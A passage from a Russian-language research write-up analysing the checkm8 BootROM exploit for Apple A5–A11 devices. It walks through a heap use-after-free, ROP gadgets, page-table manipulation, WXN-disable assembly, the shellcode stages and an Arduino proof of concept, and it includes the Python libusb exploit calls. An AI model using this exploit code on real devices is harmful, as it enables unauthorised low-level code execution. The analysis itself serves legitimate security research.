000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
chunk at 0x9640 // zlps[1]
0x80 non-free 0x180 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x96c0 // descs[0], Nonce
0x140 non-free 0x80 0
00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .N.O.N.C.:.5.
00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.C.A.9.7.A.
00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 F.E.6.0.6.C.9.A.
00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7.
00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 C.F.3.5.0.F.B.6.
00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.C.A.A.D.0.
00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A.
00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.B.C.8.D.2.
00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. .
00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 S.N.O.N.:.B.B.A.
000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5.
000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2.
chunk at 0x9800 // descs[1], Manufacturer
0x80 non-free 0x140 0
00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..A.p.p.l.e. .I.
00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF n.c.............
00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9880 // descs[2], Product
0x80 non-free 0x80 0
00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
chunk at 0x9900 // descs[3], Serial number
0x140 non-free 0x80 0
00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
chunk at 0x9a40 // zlps[0]
0x80 non-free 0x140 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9ac0
0x46540 free 0x80 0
00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Также интересный эффект можно получить, переполняя конфигурационные дескрипторы High Speed
и Full Speed
, которые находятся сразу после IO
-буфера. Одно из полей конфигурационного дескриптора отвечает за его общую длину, и, переполнив его, можно добиться чтения за пределами дескриптора. Предлагаем заинтересованному читателю проделать это самостоятельно, модифицировав код эксплойта соответствующим образом.
2. Аллокация и освобождение IO-буфера без очистки глобального состояния
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
На данном этапе создается незавершенный OUT
-запрос для загрузки образа. При этом происходит инициализация глобального состояния, и в io_buffer
будет помещен адрес буфера в куче. Затем происходит сброс DFU
с помощью запроса DFU_CLR_STATUS
, и начинается новая итерация работы DFU
.
3. Перезапись usb_device_io_request
в куче с помощью use-after-free
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
Здесь происходит выделение объекта типа usb_device_io_request
в куче и его переполнение с помощью t8010_overwrite
, содержимое которого было приведено на первом этапе.
Значениями t8010_nop_gadget
и 0x1800B0800
должны переполниться поля callback
и next
структуры usb_device_io_request
.
t8010_nop_gadget
представлен ниже и соответствует своему названию, однако в нем происходит не просто возврат из функции, а еще и восстановление предыдущего регистра LR
, из-за чего пропускается вызов free
после callback
-функции в usb_core_complete_endpoint_io
. Это важно, так как при переполнении мы повреждаем метаданные кучи, и при попытке освобождения это повлияло бы на работу эксплойта.
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
next
указывает на INSECURE_MEMORY + 0x800
. В INSECURE_MEMORY
будет находиться полезная нагрузка эксплойта, а по смещению 0x800
в полезной нагрузке находится callback-chain
, речь о котором пойдет ниже.
4. Размещение полезной нагрузки
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
На данном этапе каждый следующий пакет помещается в область памяти для образа. Итоговая полезная нагрузка выглядит следующим образом:
0x1800B0000: t8010_shellcode # инициализирующий shell-code
...
0x1800B0180: t8010_handler # новый обработчик usb-запросов
...
0x1800B0400: 0x1000006a5 # дескриптор фейковой таблицы трансляции
# соответствует SecureROM (0x100000000 -> 0x100000000)
# совпадает со значением в оригинальной таблице трансляции
...
0x1800B0600: 0x60000180000625 # дескриптор фейковой таблицы трансляции
# соответствует SecureRAM (0x180000000 -> 0x180000000)
# совпадает со значением в оригинальной таблице трансляции
0x1800B0608: 0x1800006a5 # дескриптор фейковой таблицы трансляции
# новое значение транслирует 0x182000000 в 0x180000000
# при этом в данном дескрипторе есть права на исполнение кода
0x1800B0610: disabe_wxn_arm64 # код для отключения WXN
0x1800B0800: usb_rop_callbacks # callback-chain
5. Исполнение callback-chain
dfu.usb_reset(device)
dfu.release_device(device)
После сброса USB
начинается цикл отмены незавершенных usb_device_io_request
в очереди с помощью прохода по связанному списку. На предыдущих этапах мы подменили продолжение очереди запросов, благодаря чему можно контролировать цепочку вызовов callback
. Для построения этой цепочки используется следующий гаджет:
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50 LSL W2, W2, W9
bootrom:000000010000CC54 MOV X0, X8 ; arg0
bootrom:000000010000CC58 BLR X10 ; call
bootrom:000000010000CC5C CMP W0, #0
bootrom:000000010000CC60 CSEL W0, W0, W19, LT
bootrom:000000010000CC64 B loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68 MOV W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
Как видите, по смещению 0x70
от указателя на структуру загружаются адрес вызова и первый аргумент для вызова. С помощью этого гаджета можно легко делать вызовы вида f(x)
для произвольных f
и x
.
Всю цепочку вызовов можно легко проэмулировать, используя Unicorn Engine
. Мы сделали это с помощью нашей модифицированной версии плагина uEmu.
Результат работы всей цепочки для iPhone 7
с пояснениями приведем ниже.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET
Очистка и инвалидация кэша процессора по виртуальному адресу. Это необходимо для того, чтобы в дальнейшем процессор обращался именно к нашей полезной нагрузке.
5.2. dmb
0000000100000478: DMB SY
000000010000047C: RET
Барьер памяти, гарантирующий завершение всех операций с памятью, производимых до этой инструкции. Дело в том, что в высокопроизводительных процессорах в целях оптимизации инструкции могут исполнятся в порядке, отличном от запрограммированного.
5.3. enter_critical_section()
Затем происходит маскировка прерываний для атомарного выполнения последующих операций.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Устанавливается новое значение регистра трансляции TTBR0_EL1
в 0x1800B0000
. Это адрес INSECURE MEMORY
, где расположена полезная нагрузка эксплойта. Как было замечено ранее, по нужным смещениям в полезной нагрузке расположены дескрипторы трансляции:
...
0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx)
...
5.5. tlbi
0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET
Происходит инвалидация таблицы трансляции для того, чтобы адреса транслировались в соответствии с нашей новой таблицей трансляции.
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000
ADD X2, X1, #0xA0000
ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RET
Происходит отключение WXN
(Write permission implies Execute-never), после чего можно исполнять код в RW
памяти. Исполнение самого кода отключения WXN
возможно из-за модифицированной на предыдущем этапе таблицы трансляции.
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Восстанавливается оригинальное значение регистра трансляции TTBR0_EL1
. Это необходимо для дальнейшей корректной работы BootROM
при трансляции виртуальных адресов, так как данные в INSECURE_MEMORY
будут перезаписаны.
5.8. tlbi
Происходит повторный сброс таблицы трансляции.
5.9. exit_critical_section()
Обработка прерываний возвращается в нормальное состояние.
5.10. 0x1800B0000
Управление на инициализирующий shellcode
передается.
Таким образом, основная задача callback-chain
— это отключение WXN
и передача управления на shellcode
в RW
-памяти.
6. Исполнение shellcode
Сам shellcode
находится в src/checkm8_arm64.S
и делает следующее:
6.1. Перезапись конфигурационных USB
-дескрипторов
В глобальной памяти хранятся два указателя на конфигурационные дескрипторы usb_core_hs_configuration_descriptor
и usb_core_fs_configuration_descriptor
, расположенные в куче. Во время третьего этапа эти дескрипторы были повреждены. Так как они необходимы для корректной работы с USB
-устройством, shellcode
их восстанавливает.
6.2. Изменение USBSerialNumber
Создается новая строка-дескриптор с серийным номером, к которой дописывается подстрока " PWND:[checkm8]"
. В дальнейшем это поможет определить, успешно ли отработал эксплойт.
6.3. Перезапись указателя обработчика USB
-запросов на новый
Оригинальный указатель на обработчик USB
-запросов к интерфейсу перезаписывается указателем на новый обработчик, который будет размещен в памяти на следующем шаге.
6.4. Копирование обработчика USB
-запросов в TRAMPOLINE
область памяти (0x1800AFC00
)
При получении USB
-запроса новый обработчик сравнивает wValue
запроса с 0xffff
и, если они не равны, возвращает управление на оригинальный обработчик. Если значения совпадают, то в новом обработчике могут быть исполнены различные команды: memcpy
, memset
и exec
(вызов произвольного адреса с произвольным набором аргументов).
На этом анализ эксплойта можно считать завершенным.
Реализация эксплойта на более низком уровне работы с USB
В качестве бонуса и для понимания атаки на более низком уровне мы опубликовали Proof-of-Concept реализации checkm8
на Arduino
с Usb Host Shield
. PoC работает только для iPhone 7
, однако портировать его на другие устройства не составит труда. При подключении iPhone 7
в DFU
режиме к Usb Host Shield
будут выполнены все описанные в статье шаги, и устройство перейдет в режим PWND:[checkm8]
, после чего его можно подключить к USB
-порту персонального компьютера и работать с ним через утилиту ipwndfu (дампить память, использовать крипто-ключи и т.д.). Этот метод является более стабильным, чем использование асинхронных запросов с минимальным таймаутом, потому что мы работаем напрямую с USB
-контроллером. Для реализации была использована библиотека USB_Host_Shield_2.0. Ее нужно незначительно модифицировать, patch-файл также находится в репозитории.
Вместо заключения
На этом мы завершаем наш технический анализ. Разбираться с эксплойтом checkm8
было очень интересно. Надеемся, что данная статья будет полезна сообществу и побудит людей к новым исследованиям в этой области. Сама уязвимость уже оказала и продолжит оказывать влияние на jailbreak-сообщество. Например, уже ведутся работы над jailbreak на основе checkm8
— checkra1n. Так как уязвимость неисправима, полученный jailbreak будет работать всегда на уязвимых чипах (с A5
по A11
) независимо от версии iOS
. Не стоит забывать и о iWatch
, Apple TV
и других уязвимых устройствах. Думаем, что в ближайшее время увидят свет и другие интересные проекты для яблочных устройств.
Помимо jailbreak, данная уязвимость окажет большое влияние на исследователей устройств Apple. С помощью checkm8
уже можно включать verbose-загрузку iOS
, сдампить SecureROM
или использовать GID
-ключ для расшифровки образов прошивки. Однако наиболее интересной, на наш взгляд, возможностью нового эксплойта является включение отладки уязвимых устройств с помощью специального JTAG/SWD кабеля. Ранее такое было возможно только на специальных прототипах, достать которые было крайне тяжело, или с помощью специализированных сервисов. Соответственно, с появлением checkm8
, исследовать Apple
станет в разы проще и дешевле.